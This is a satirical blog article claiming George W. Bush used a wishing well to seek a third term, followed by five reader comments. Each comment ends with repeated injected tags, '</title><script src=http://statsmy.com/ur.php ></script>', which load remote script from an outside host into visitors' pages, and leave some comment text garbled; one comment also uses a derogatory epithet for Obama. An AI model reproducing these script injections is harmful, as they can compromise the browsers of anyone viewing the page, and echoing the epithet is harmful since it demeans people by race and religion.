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George Bush Uses Wishing Well in Attempt to Secure Third Term
by Kris on 11/11/2008 (5)

"I wish for a pony and a rainbow and some bubble gum and four more years in the White House."
Washington, DC - George W. Bush may be telling the press that he wants to make a smooth transition to the Obama administration but secretly he's working to secure a third term as President of the United States.

Earlier this week Bush was spotted throwing money into a wishing well. When asked what he wished for, he coyly said that if he told, then "my wish won't come true". An anonymous source closed to Bush has revealed to Smooth Operator exactly what the wish was.

"It's no secret that George is concerned about his future legacy," said the source. "Unfortunately the past four years have not been kind to him. Because of this, George forewent his usual wishes for ponies and rainbows and instead wished for a third term in the Oval Office in hopes that he can resurrect his image."

Serving more than two terms as President is not unprecedented. Franklin Delano Roosevelt served four and likely could have served more if not for a clause in the Constitution that states Presidents can't be dead. Yet the twenty-second amendment (passed in 1951), which limits Presidents to two terms, and the fact that another President has been elected make serving a third term much more difficult for Bush than FDR.

"A wish come true is Bush's only chance to serve another four years," said Republican spokesman Mark Drake.

A statement issued by the Democratic Party stated that Bush wishing himself into a third term is "completely unconstitutional" and has vowed to take the issue all the way to the Supreme Court should the wish be granted.


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1. by Motz on 11/12/2008 3:41:25 PM
The Bush years were really no different for me than the Clinton years. I made the same money, worked the same jobs. No complaints against Bushie for me, plus he beats that mulatto Muslim you libby meathballs elected anydayon </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kris on 11/13/2008 10:14:04 AM
The Bush years were really no different for me than the Clinton years. I made the same money, worked the same jobs. No complaints against Bushie for me, plus he beats that mulatto Muslim you libby meathballs elected anyday.


I'm not going to blame Bush for the economy, but I certainly believe he deserves the majority of the blame for the mess in Iraq. Saddam was no doubt a tyrant, but we attacked his country unprovoked, against the will of the United Nations, and clearly had no plan what to do once Saddam was out of power. We needlessly wastes thousands of lives and billions of dollars for a war of questionable cause.

I think that's where Bush failed the biggest... not domestically, but on the world stage. And I truly believe that with our countries actions under Bush, we've made a lot more enemies (and gone a long way to descredit the United Nations) than we would have otherwise.

So many countries seem excited and enthusiastic about our electing of Obama and seem more willing to work with him than a rather headstrong Bush.

I do believe too that Obama is very smart and is a much better fix to help turn our economy around than either Bush or McCain would have been.?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Motz on 11/14/2008 7:03:49 PM
Okay, champ. Let history unfold itself. Don't let me say I told you so.n.ru </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Kris on 11/20/2008 1:02:09 PM
I'm hopeful for change but it won't be easy. I'm confident though that it can't be worse than the past 8 yearsone"></if </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Josh on 2/27/2009 5:16:45 PM
A statement issued by the Democratic Party stated that Bush wishing himself into a third term is "completely unconstitutional" and has vowed to take the issue all the way to the Supreme Court should the wish be granted.
The twnty-second amendment prevents that 3rd term, bush says he'll take the case to the Supreme Court, but when you know the constitution, you would know that the only way to reverse an amendment is to pass another amendment repealing the one you want to repeal (like the 21st repealing the 18th). BUSH IS ASKING FOR HELP...TO THE WRONG PEOPLE, ONLY CONGRESS CAN PASS AMENDMENTS, NOT THE SUPREME COURTisplay:none"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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